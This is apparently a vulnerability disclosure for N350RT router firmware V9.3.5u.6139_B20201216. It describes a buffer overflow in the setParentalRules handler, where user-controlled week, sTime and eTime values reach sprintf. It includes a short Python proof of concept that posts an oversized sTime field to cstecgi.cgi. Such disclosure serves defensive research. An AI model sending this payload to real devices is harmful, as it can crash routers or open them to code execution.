Skip to content

Latest commit

 

History

History
31 lines (22 loc) · 1.1 KB

setParentalRules.md

File metadata and controls

31 lines (22 loc) · 1.1 KB

Overview

Affected version

N350RT V9.3.5u.6139_B20201216

Vulnerability details

In the N350RT V9.3.5u.6139_B20201216 firmware has a buffer overflow vulnerability in the setParentalRules function. The v7, v8, v9 variable receives the week, sTime, eTime parameter from a POST request. However, since the user can control the input of week, sTime, eTime, the sprintf can cause a buffer overflow vulnerability.

image-20240723210721750

POC

import requests
url = "http://127.0.0.1/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {
"topicurl":"setParentalRules",
"sTime":"b"*0x1000,
}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20240721012919451